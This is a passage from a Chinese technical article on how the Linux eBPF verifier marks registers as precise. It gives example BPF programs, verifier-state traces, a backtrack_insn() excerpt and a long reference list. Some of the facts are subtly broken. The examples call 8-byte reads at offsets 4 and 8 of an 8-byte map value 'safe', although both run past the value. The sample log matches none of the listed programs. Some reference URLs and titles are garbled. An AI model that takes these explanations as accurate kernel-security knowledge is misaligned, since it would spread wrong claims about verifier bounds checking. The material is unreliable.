E. 关于verifier对寄存器的精确标记

精确标记存储在 bpf_reg_state 结构中,定义在include/linux/bpf_verifier.h

1
2
3
4
5
6
7
struct bpf_reg_state {
enum bpf_reg_type type; /* 寄存器类型,如标量或指针 */
s64 umin_value; /* 最小值 */
s64 umax_value; /* 最大值 */
bool precise; /* 是否需要精确追踪 */
...
};

精确追踪实际上是为了辅助verifier进行剪枝,在下面几种情况下需要对寄存器进行精确标记:

1. 指针运算

当一个寄存器用于指针偏移(如 r0 += r6),r6 被标记为精确,因为其值直接影响内存访问的安全性。

1
2
3
4
5
6
7
8
9
0: (b7) r6 = 4                        // r6 = 4
1: (18) r1 = 0xffff888123456789 // r1 = 映射指针 (ks=4, vs=8)
3: (bf) r2 = r10 // r2 = 栈指针
4: (07) r2 += -4 // r2 = r10 - 4
5: (63) *(u32 *)(r10 - 4) = r6 // 栈写入 r6 (4)
6: (85) call bpf_map_lookup_elem#1 // r0 = 映射值
7: (0f) r0 += r6 // 指针偏移: r0 += r6
8: (79) r3 = *(u64 *)(r0 + 0) // 读取 r0
9: (95) exit // 退出
  • 第 7 行:r0 += r6r6 用于指针偏移,影响 r0 的地址。

  • 第 8 行:读取 r0,需确保 r0 在映射值边界内(0 到 7 字节)。

  • r6 被标记为精确(reg->precise = true),因为其值(4)决定指针偏移。

  • 验证器回溯确保 r6 在所有路径中是精确的常数(R6=4)。

  • 验证器状态

    1
    2
    3
    0: R6_w=4
    7: R0=map_value(off=0,ks=4,vs=8) R6=4 (R6: P)
    8: 访问 r0 + 4: 安全

2. 辅助函数调用

某些函数(如 bpf_map_lookup_elem)要求参数是精确的常数。

1
2
3
4
5
6
7
0: (b7) r6 = 0                        // r6 = 0
1: (18) r1 = 0xffff888123456789 // r1 = 映射指针 (ks=4, vs=8)
3: (bf) r2 = r10 // r2 = 栈指针
4: (07) r2 += -4 // r2 = r10 - 4
5: (63) *(u32 *)(r10 - 4) = r6 // 栈写入 r6 (0)
6: (85) call bpf_map_lookup_elem#1 // 调用映射查找
7: (95) exit // 退出
  • 第 5 行:*(u32 *)(r10 - 4) = r6r6 写入栈,作为 bpf_map_lookup_elem 的键。

  • 第 6 行:调用 bpf_map_lookup_elem,要求键(r10 - 4 的值)是精确常数。

  • r6 被标记为精确,因为其值(0)被写入栈,栈槽 r10 - 4 用作函数参数。

  • 验证器确保 r6 在所有路径中是精确的(R6=0)。

  • 验证器状态

    1
    2
    3
    0: R6_w=0
    5: fp-4=0 (R6: P)
    6: R0=map_value_or_null

3. 条件跳转 (在cve-2023-2163修复中新增)

如果一个条件跳转(如 if r6 <= r9)影响一个精确寄存器的值,则相关寄存器可能需要标记为精确。

1
2
3
4
5
6
7
8
9
10
0: (b7) r6 = 2                        // r6 = 2
1: (b7) r9 = 1 // r9 = 1
2: (b5) if r6 <= r9 goto pc+1 // if r6 <= r9, 跳转到 4
3: (b7) r6 = 0 // r6 = 0
4: (18) r1 = 0xffff888123456789 // r1 = 映射指针 (ks=4, vs=8)
6: (bf) r2 = r10 // r2 = 栈指针
7: (07) r2 += -4 // r2 = r10 - 4
8: (63) *(u32 *)(r10 - 4) = r6 // 栈写入 r6
9: (85) call bpf_map_lookup_elem#1 // 调用映射查找
10: (95) exit // 退出
  • 第 2 行:if r6 <= r9r6r9 比较,影响 r6 的值。

  • 第 8 行:r6 写入栈,需精确(用于 bpf_map_lookup_elem)。

  • r6 被标记为精确(R6: P),因为其值写入栈。

  • r9 也被标记为精确(R9: P),因为第 2 行的条件跳转(r6 <= r9)约束了 r6 的值。

1
2
3
4
5
0: R6_w=2
1: R9_w=1
2: (b5) if r6 <= r9 goto pc+1 ; R6=2, R9=1 (R6: P, R9: P)
3: R6_w=0
8: fp-4=0 (R6: P)
  • 跳转到 4r6 <= 1 不成立(2 > 1),不触发。
  • 继续到 3r6 = 0,写入栈,安全。

4. 依赖传播

如果一个精确寄存器的值依赖于其他寄存器或栈槽,这些依赖项也会被标记为精确。

1
2
3
4
5
6
7
8
9
10
11
12
0: (b7) r7 = 8                        // r7 = 8
1: (bf) r6 = r7 // r6 = r7
2: (18) r1 = 0xffff888123456789 // r1 = 映射指针 (ks=4, vs=8)
4: (bf) r2 = r10 // r2 = 栈指针
5: (07) r2 += -4 // r2 = r10 - 4
6: (63) *(u32 *)(r10 - 4) = r6 // 栈写入 r6
7: (85) call bpf_map_lookup_elem#1 // 调用映射查找
8: (55) if r0 != 0x0 goto pc+1 // if r0 非空,跳转
9: (95) exit // 退出
10: (0f) r0 += r6 // 指针偏移: r0 += r6
11: (79) r3 = *(u64 *)(r0 + 0) // 读取 r0
12: (95) exit // 退出
  • 第 1 行:r6 = r7r6 的值依赖于 r7

  • 第 6 行:r6 写入栈,需精确(用于 bpf_map_lookup_elem)。

  • 第 10 行:r0 += r6r6 用于指针运算,需精确。

  • r6 被标记为精确(R6: P),因为其用于栈写入和指针运算。

  • r7 被标记为精确(R7: P),因为 r6 的值依赖于 r7(第 1 行)。

  • 验证器状态

    1
    2
    3
    4
    5
    0: R7_w=8 (R7: P)
    1: R6_w=8 (R6: P)
    6: fp-4=8 (R6: P)
    10: R0=map_value(off=8) (R6: P)
    11: 访问 r0 + 8: 安全
    • r7 的精确标记传播到 r6,确保 r6 = 8 在所有路径一致。
    • 偏移 8 等于映射值大小(8 字节),验证器确认安全(边界情况)。

verifier发现某个寄存器需要被标记为精确,backtrack_insn()会被调用,回溯指令以传播精确标记:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static int backtrack_insn(struct bpf_verifier_env *env, int idx,
u32 *reg_mask, u64 *stack_mask)
{
.....
if (insn->code == 0)
return 0;
if (env->log.level & BPF_LOG_LEVEL2) {
verbose(env, "regs=%x stack=%llx before ", *reg_mask, *stack_mask);
verbose(env, "%d: ", idx);
print_bpf_insn(&cbs, insn, env->allow_ptr_leaks);
}

if (class == BPF_ALU || class == BPF_ALU64) {
if (!(*reg_mask & dreg))
return 0;
if (opcode == BPF_MOV) {
if (BPF_SRC(insn->code) == BPF_X) {
/* dreg = sreg
* dreg needs precision after this insn
* sreg needs precision before this insn
*/
*reg_mask &= ~dreg;
*reg_mask |= sreg;
} else {
/* dreg = K
* dreg needs precision after this insn.
* Corresponding register is already marked
* as precise=true in this verifier state.
* No further markings in parent are necessary
*/
*reg_mask &= ~dreg;
}
} else {
.....
return 0;
}

运行时示例输出如下:

1
2
3
4
5
6
7
8
9
10
frame 0: propagating r6
last_idx 9 first_idx 0
regs=40 stack=0 before 6: (bd) if r6 <= r9 goto pc+2
regs=40 stack=0 before 5: (05) goto pc+0
regs=40 stack=0 before 4: (97) r6 %= 1025
regs=40 stack=0 before 3: (b7) r9 = -2147483648
regs=40 stack=0 before 2: (b7) r8 = 0
regs=40 stack=0 before 1: (b7) r7 = 0
regs=40 stack=0 before 0: (b7) r6 = 1024
from 6 to 9: safe

参考文献

  1. Hung, H. W., & Sani, A. A. (2023). BRF: eBPF Runtime Fuzzer. arXiv preprint arXiv:2305.08782. https://arxiv.org/abs/2305.08782
  2. López Jaimez, J. J., & Inge, M. (2023). Buzzer: An eBPF Fuzzing Framework. Google Security Blog. https://github.com/google/buzzer
  3. Zhou, S., Jiang, M., Chen, W., Zhou, H., Wang, H., & Luo, X. (2024). Toss a Fault to BpfChecker: Revealing Implementation Flaws for eBPF runtimes with Differential Fuzzing. In Proceedings of the 2024 ACM SIGSAC Conference on Computer and Communications Security (pp. 939-950). ACM.
  4. Nelson, L., Van Geffen, J., Torlak, E., & Wang, X. (2020). Specification and verification in the field: Applying formal methods to BPF just-in-time compilers in the Linux kernel. In Proceedings of the 14th USENIX Conference on Operating Systems Design and Implementation (OSDI '20). USENIX Association.
  5. Vishwanathan, H., Shachnai, M., Narayana, S., & Nagarakatte, S. (2023). Automatically and formally proves the ranges analysis of the Linux verifier. In Proceedings of the Computer Aided Verification Conference (CAV '23).
  6. Sun, H., & Su, Z. (2024). Devises a test oracle to fuzz the eBPF verifier. In Proceedings of the 18th USENIX Symposium on Operating Systems Design and Implementation (OSDI '24). USENIX Association.
  7. Krishna, P. (2024). Grammar-based Fuzzing of the eBPF Verifier for Security Testing. Master's Thesis, CISPA Helmholtz Center for Information Security.
  8. Zhang, P., Wu, C., Meng, X., Zhang, Y., Peng, M., Zhang, S., Hu, B., Xie, M., Lai, Y., Kang, Y., & Wang, Z. (2024). SafeBPF: Hardware-assisted Defense-in-depth for eBPF. In Proceedings of the IEEE Security and Privacy Conference (SP '24).
  9. Paul, M. (2020). CVE-2020-8835: Linux Kernel Privilege Escalation via Improper eBPF Program Verification. Zero Day Initiative Technical Report. https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification
  10. Google Bug Hunters. (2023). A deep dive into CVE-2023-2163: How we found and fixed an eBPF Linux Kernel Vulnerability. Google Security Blog. https://bughunters.google.com/blog/6303226026131456/a-deep-dive-into-cve-2023-2163-how-we-found-and-fixed-an-ebpf-linux-kernel-vulnerability
  11. Bangladesh e-Government CIRT. (2022). Linux Kernel eBPF local privilege escalation (CVE-2022-23222) vulnerability. Technical Advisory. https://www.cirt.gov.bd/linux-kernel-ebpf-local-privilege-escalation-cve-2022-23222-vulnerability/
  12. Deep Kondah Security Research. (2024). Profiling Libraries With eBPF: Detecting Zero-Day Exploits and Backdoors - CVE-2021-31440 Analysis. Technical Report. https://www.deep-kondah.com/ebpf-library-profiling/
  13. IOVisor Community. (2019). bpf-fuzzer: Fuzzing framework based on libfuzzer and clang sanitizer. GitHub Repository. https://github.com/iovisor/bpf-fuzzer
  14. Snorez. (2020). ebpf-fuzzer: Fuzz the linux kernel bpf verifier. GitHub Repository. https://github.com/snorez/ebpf-fuzzer
  15. Google Security Research. (2023). Introducing a new way to buzz for eBPF vulnerabilities. Google Security Blog. https://security.googleblog.com/2023/05/introducing-new-way-to-buzz-for-ebpf.html
  16. Linux Kernel Community. (2024). eBPF Instruction Set Specification, v1.0. The Linux Kernel Documentation. https://docs.kernel.org/next/bpf/instruction-set.html
  17. Linux Kernel Community. (2024). eBPF verifier. The Linux Kernel Documentation. https://www.kernel.org/doc/html/v6.7/bpf/verifier.html
  18. Linux Kernel Community. (2024). BPF Documentation. The Linux Kernel Documentation. https://www.kernel.org/doc/html/latest/bpf/index.html
  19. eBPF Foundation. (2024). What is eBPF? An Introduction and Deep Dive into the eBPF Technology. eBPF.io. https://ebpf.io/what-is-ebpf/
  20. ControlPlane & NCC Group. (2024). eBPF Security Threat Model and Verifier Code Audit. eBPF Foundation Security Report. https://www.linuxfoundation.org/press/threat-model-and-independent-verifier-audit-examine-the-security-of-ebpf
  21. Red Canary Threat Research Team. (2025). eBPF: A new frontier for malware. Red Canary Security Research. https://redcanary.com/blog/threat-detection/ebpf-malware/
  22. Liber, M. (2024). Understanding the Security Aspects of Linux eBPF. Pentera Security Research. https://pentera.io/blog/the-good-bad-and-compromisable-aspects-of-linux-ebpf/
  23. eBPF Foundation. (2024). Research Update: Isolated Execution Environment for eBPF. eBPF Foundation Research Report. https://ebpf.foundationebpf-verifierearch-update-isolated-execution-environment-for-ebpf/
  24. Tigera. (2024). eBPF Explained: Use Cases, Concepts, and Architecture. Tigera Technical Guide. https://www.tigera.io/learn/guides/ebpf/
  25. Red Hat. (2024). Analyzing system performance with eBPF. Red Hat Enterprise Linux Documentation. https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/managing_monitoring_and_updating_the_kernel/analyzing-system-performance-with-ebpf
  26. Eunomia-eBPF Community. (2024). The Evolution and Impact of eBPF: A list of Key Research Papers from Recent Years. Technical Survey. https://eunomia.dev/blogs/ebpf-papers/
  27. Alibaba Cloud. (2022). What You Need to Know About eBPF Security Observability. Alibaba Cloud Technical Blog. https://www.alibabacloud.com/blog/what-you-need-to-know-about-ebpf-security-observability_599614
  28. ricksanchez. (2024). Academic papers related to fuzzing, binary analysis, and exploit dev. Paper Collection Repository. https://github.com/0xricksanchez/paper_collection
  29. Chaigno, P. (2025). eBPF Research Papers. Interactive Research Paper Database. https://pchaigno.github.io/bpf/2025/01/07ebpf-verifierearch-papers-bpf.html